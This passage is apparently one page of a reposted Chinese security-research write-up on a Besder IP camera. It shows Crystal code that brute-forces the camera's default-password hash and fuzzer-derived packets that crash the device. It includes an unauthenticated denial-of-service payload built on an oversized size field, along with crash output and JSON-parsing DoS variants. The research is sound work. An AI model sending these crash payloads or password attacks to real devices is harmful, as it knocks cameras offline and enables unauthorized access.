针对Besder网络摄像头的逆向分析和漏洞挖掘

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
crash_string = "/xFF/u0001/u0000/u0000/u0000/xEF/xCD/xAB/u0000/u0000/u0000/u0000/u0000/u0000/x85/u0005/xA0/u0000/u0000/xE1/u0000{/"Name/":/"OPMonitor/",/"OPMonitor/",/"OPMonitor/":{/"Action/":/"Claim/",/"Parmeter/":{/"Channel/":0,/"CombinModeใ/":/"N󠁢ONE/",/"Parmeter/":{/"Channel/":0,/"CombinModeใ/":/"N󠁢ONE/",/"Stre amT/u000E/xFE/xFFype/":/"Main/",/"TransMode/":/"TCP/"}},/"Sess󠁎ionID/":/"4294967296xAbcdef256/"}"
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"
此时,Radamsa已经帮助我找到了一个漏洞!
关于模糊测试的说明
我可以肯定地说,该协议的工作方式存在一些奇怪之处和矛盾之处,这对渗透测试来说往往是有益的。协议越陌生,就越有可能犯错误。
暴力破解密码
要找出纯文本密码,我必须进行暴力破解上述的哈希值。
require "./dahua_hash"
module Brute
def self.run(hash : String, start = "a") : String
current = start
counter = 0
success = false
start_time = Time.now
until success
if Dahua.digest(current) == hash
puts "SUCCESS!!!"
success = true
break
end
counter += 1
current = current.succ
if counter % 1_000_000 == 0
puts " @ #{current} : #{Time.now - start_time}"
elsif counter % 10_000 == 0
print '.'
end
end
end_time = Time.now
puts "Time: #{end_time - start_time}"
puts "Result: #{current} : #{Dahua.digest(current)}"
current
end
end
由于我知道“用户”帐户的详细信息,因此我要做的就是将其插入BAM!
Brute.run("OxhlwSG8")
大约16个小时后,我将得到字符串“tluafed”或“default”。
发现的拒绝服务攻击漏洞
在使用Radamsa的过程中,我发现了一个DoS,该DoS将通过无特权的用户帐户关闭我的摄像头。让我找出导致崩溃的确切原因!我会备份字符串,然后把它们拆分,直到运行崩溃。
我做的第一件事是删除数据包的“消息”部分,DoS仍然有效。之后,我开始删除标头的位,这也是错误的大小。我还更改了其中的值,以查看导致崩溃的原因和未导致崩溃的原因。我发现大小字段超过0x80000000会导致崩溃。
crash_string = "/xFF" + ("/x00"*13) + "/x85/x05" + "/x00/x00/x00/x80"
这表示很可能有人将带符号变量用于无符号整数,因为大小永远不能小于0,这可能会导致某种整数溢出漏洞,可能是因为程序正在尝试读入消息大小,它远远超出了预期,或者为负值,从而导致崩溃。
当前,该漏洞利用OPMonitor的魔法字段,但是这个漏洞应该会影响我们可以访问的任何命令,因为“login”命令是最不受保护的,它应该是下一个目标。
crash_string = "/xFF" + ("/x00"*13) + "/xe8/x03" + "/x00/x00/x00/x80"
socket = MagicSocket.new("192.168.11.109", 34567)
#socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"
这将产生以下结果:
SENT: "/xFF/u0000/u0000/u0000/u0000/u0000/u0000/u0000/u0000/u0000/u0000/u0000/u0000/u0000/xE8/u0003/u0000/u0000/u0000/x80"
Unhandled exception:  (MagicError::ReceiveEOF)
from src/magic_fuzzer/magic_socket.cr:0:7 in 'receive_message'
from src/sandbox.cr:69:1 in '__crystal_main'
from /usr/share/crystal/src/crystal/main.cr:97:5 in 'main_user_code'
from /usr/share/crystal/src/crystal/main.cr:86:7 in 'main'
from /usr/share/crystal/src/crystal/main.cr:106:3 in 'main'
from __libc_start_main
from _start
from ???
ReceiveEOF证明套接字已关闭并且服务器已关闭。
摄像头将关闭约2分钟,同时在重新启动时仍会在短时间内响应ping。客户端在此重新引导期间无法连接,详细视频请点此。
通过进一步努力,在Radamsa的帮助下,我找到了两个新的漏洞,“消息引用”和“选项错误类型”漏洞。
消息引用DoS
这利用了JSON处理中的一些漏洞,当给定一条完全由两个引号组成的消息时,摄像头崩溃。
选项错误类型DoS
这利用了摄像头服务器处理JSON的另一个漏洞。该漏洞仅适用于特定的命令,OPTalk,OPMonitor和OPRecordSnap。发送这些命令时,可以选择在根目录下包含与选项相同名称的选项哈希。
{
  "Name": "OPMonitor",
  "OPMonitor":  {
    "Action": "Claim",
    "Action1":  "Start",
    "Parameter":  {
      "Channel":  0,
      "CombinMode": "NONE",
      "StreamType": "Main",

上一页  [1] [2] [3] [4] [5] [6] [7]  下一页